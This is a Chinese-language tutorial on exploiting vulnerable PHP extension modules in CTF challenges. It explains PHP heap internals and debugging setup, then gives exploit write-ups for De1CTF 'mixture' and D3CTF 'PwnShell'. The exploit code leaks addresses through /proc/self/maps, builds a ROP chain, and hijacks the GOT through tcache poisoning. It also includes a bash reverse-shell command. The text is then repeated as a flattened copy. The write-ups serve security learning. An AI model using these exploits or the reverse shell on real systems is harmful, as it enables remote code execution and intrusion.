php pwn学习
字数 1376 2025-08-22 12:22:24

PHP Pwn 学习指南:二进制安全与漏洞利用

1. PHP Pwn 基础概念

PHP Pwn 是一种针对 PHP 环境的二进制安全攻击技术,主要涉及以下核心概念:

  • 远程环境:通常是通过 Apache 搭建的 Web 页面
  • 攻击流程:上传恶意 PHP 文件 → 访问执行 → 获取 flag
  • 文件上传方法:使用 HTML 表单进行文件上传

文件上传模板

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
    <form action="http://目标IP:端口/index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

2. PHP 内核与函数机制

PHP_FUNCTION 宏

  • PHP 内部函数通过 PHP_FUNCTION 宏定义
  • 实际调用时使用 zif_ 前缀(如 zif_addHacker
  • 做题时直接使用函数名(如 addHacker, removeHacker

3. PHP 堆管理机制

与 ptmalloc 的区别

  1. 内存分配

    • PHP 一次性向系统申请大块内存
    • 自身维护内存管理池
    • 优先从池中分配,不足时才向系统申请
  2. 内存释放

    • 释放的内存不返回系统
    • 保留在内存池中复用
  3. 堆结构特点

    • 无 0x10 字节的堆头(header)
    • 类似 Kernel 的 slab/slub 分配器
    • 与内存桶对齐
  4. 空闲堆块

    • 包含 fd 指针指向下一个相同大小的堆块
    • 类似 glibc 2.27 的 tcache
    • 可进行 tcache poison 攻击

4. 常用 PHP 自定义函数

二进制数据处理函数

// 等价于 p64(64位打包)
function p64(string $value): string {
    static $p64_table = [...];
    $result = "";
    for($i = 0; $i < 8; $i++) {
        $remainder = $value % 0x100;
        $value = (int)($value/0x100);
        $result .= $p64_table[$remainder];
    }
    return $result;
}

// 等价于 u64(64位解包)
function u64(string $bytes): int {
    static $u64_table = [...];
    $result = 0;
    for($i = 7; $i >= 0; $i--) {
        $result = $u64_table[$bytes[$i]] + $result * 0x100;
    }
    return $result;
}

// 64位数字转16进制字符串(用于打印)
function hex64(int $value): string {
    static $hex64_table = [...];
    $result = "";
    for($i = 0; $i < 16; $i++) {
        $remainder = $value % 0x10;
        $value = (int)($value/0x10);
        $result = $hex64_table[$remainder] . $result;
    }
    return "0x" . $result;
}

// 字符串转整数
function s2i($s) {
    $result = 0;
    for ($x = 0; $x < strlen($s); $x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

// 整数转字符串
function i2s($i, $x = 8) {
    $re = "";
    for($j = 0; $j < $x; $j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

5. 调试技术

调试环境搭建

  1. 常用方法

    • Kali 中使用 pwndbg
    • Docker 中使用 gdbserver 开放端口
  2. 调试命令

    gdbserver 172.17.0.2:6666 /usr/local/bin/php /var/www/html/exp.php
    
  3. 断点设置

    • 通常需要加载 vuln.so 库后才能设置有效断点
    • 常见断点位置:
      b _start
      b *&__libc_start_main+128
      b *&__libc_start_call_main+120
      b pie+0x247a61  # 与PHP版本相关
      

6. 漏洞利用技术

例题1:2020 De1CTF-mixture

漏洞点

  • 明显的栈溢出(memcpy 无大小限制)

利用思路

  1. 通过 /proc/self/maps 泄露 libc 基址
  2. 栈溢出构造 ROP 链
  3. 反弹 shell

EXP 关键部分

$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
ob_start();
$a = "/proc/self/maps";
Minclude($a);
$buffer = ob_get_contents();
ob_end_flush();
callback($buffer);

$stack = hexdec($stack[1][0]);
$libc_base = hexdec($libc[1][0]);

$payload = str_repeat("a", 0x88);
$payload .= i2s($libc_base + 0x215bf);
$payload .= i2s($stack + 0x1ca98 + 0x90) . i2s($libc_base + 0x23eea);
$payload .= i2s($stack + 0x1ca98 + 0x28) . i2s($libc_base + 0x80a10);
$payload .= "r" . str_repeat("\x00", 0x7) . str_repeat("c", 0x60);
$payload .= $command . str_repeat("b", 0x8);
Minclude($payload);

例题2:D3CTF PwnShell

题目分析

  • add 操作:ck2 存储另一个堆块 ck1 的地址
  • edit 操作:通过 *ck2 找到 ck1,实现任意地址写
  • delete 操作:先 free ck1,再 free ck2

利用思路

  1. 通过 /proc/self/maps 泄露 libc 基址和 vuln.so 基址
  2. 利用 off-by-null 漏洞:
    • free(7) 后再 add 出 $c(0x40 字节)
    • 覆盖 ck8' 中 ck8 的地址最低字节为 0x00
    • edit(8) 实际变为 edit ck5
  3. 通过 tcache poison 攻击 GOT 表

EXP 关键部分

// 泄露地址
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);

// 构造 payload
$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
for($i = 1; $i < 0xe; $i++) {
    $n = 0x61 + $i;
    $aa = pack("C", $n);
    $aaa = str_repeat($aa, 0x40);
    addHacker($aaa, $b);
}

$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0, $cmd);
removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);
removeHacker(5);

// 劫持 GOT
editHacker(8, int2str($mod_base + $efree_got));
addHacker($a, $b);
$payload = str_repeat(int2str($libc_base + $system_addr), 8);
addHacker($payload, $b);
removeHacker(0);

7. 关键技巧总结

  1. 地址泄露

    • 通过 /proc/self/maps 获取 libc 和模块基址
    • 使用正则表达式提取关键地址
  2. 堆利用

    • 注意 PHP 堆管理机制与 glibc 的区别
    • 利用 off-by-null 等漏洞修改关键指针
    • 通过 tcache poison 实现任意地址分配
  3. ROP 构造

    • 结合泄露的地址计算 gadget 位置
    • 合理布局栈空间完成攻击链
  4. 调试技巧

    • 确保调试环境正确配置
    • 在关键函数和内存操作处设置断点
    • 结合内存映射信息验证攻击效果
PHP Pwn 学习指南:二进制安全与漏洞利用 1. PHP Pwn 基础概念 PHP Pwn 是一种针对 PHP 环境的二进制安全攻击技术,主要涉及以下核心概念: 远程环境 :通常是通过 Apache 搭建的 Web 页面 攻击流程 :上传恶意 PHP 文件 → 访问执行 → 获取 flag 文件上传方法 :使用 HTML 表单进行文件上传 文件上传模板 2. PHP 内核与函数机制 PHP_ FUNCTION 宏 PHP 内部函数通过 PHP_FUNCTION 宏定义 实际调用时使用 zif_ 前缀(如 zif_addHacker ) 做题时直接使用函数名(如 addHacker , removeHacker ) 3. PHP 堆管理机制 与 ptmalloc 的区别 内存分配 : PHP 一次性向系统申请大块内存 自身维护内存管理池 优先从池中分配,不足时才向系统申请 内存释放 : 释放的内存不返回系统 保留在内存池中复用 堆结构特点 : 无 0x10 字节的堆头(header) 类似 Kernel 的 slab/slub 分配器 与内存桶对齐 空闲堆块 : 包含 fd 指针指向下一个相同大小的堆块 类似 glibc 2.27 的 tcache 可进行 tcache poison 攻击 4. 常用 PHP 自定义函数 二进制数据处理函数 5. 调试技术 调试环境搭建 常用方法 : Kali 中使用 pwndbg Docker 中使用 gdbserver 开放端口 调试命令 : 断点设置 : 通常需要加载 vuln.so 库后才能设置有效断点 常见断点位置: 6. 漏洞利用技术 例题1:2020 De1CTF-mixture 漏洞点 : 明显的栈溢出(memcpy 无大小限制) 利用思路 : 通过 /proc/self/maps 泄露 libc 基址 栈溢出构造 ROP 链 反弹 shell EXP 关键部分 : 例题2:D3CTF PwnShell 题目分析 : add 操作:ck2 存储另一个堆块 ck1 的地址 edit 操作:通过 * ck2 找到 ck1,实现任意地址写 delete 操作:先 free ck1,再 free ck2 利用思路 : 通过 /proc/self/maps 泄露 libc 基址和 vuln.so 基址 利用 off-by-null 漏洞: free(7) 后再 add 出 $c(0x40 字节) 覆盖 ck8' 中 ck8 的地址最低字节为 0x00 edit(8) 实际变为 edit ck5 通过 tcache poison 攻击 GOT 表 EXP 关键部分 : 7. 关键技巧总结 地址泄露 : 通过 /proc/self/maps 获取 libc 和模块基址 使用正则表达式提取关键地址 堆利用 : 注意 PHP 堆管理机制与 glibc 的区别 利用 off-by-null 等漏洞修改关键指针 通过 tcache poison 实现任意地址分配 ROP 构造 : 结合泄露的地址计算 gadget 位置 合理布局栈空间完成攻击链 调试技巧 : 确保调试环境正确配置 在关键函数和内存操作处设置断点 结合内存映射信息验证攻击效果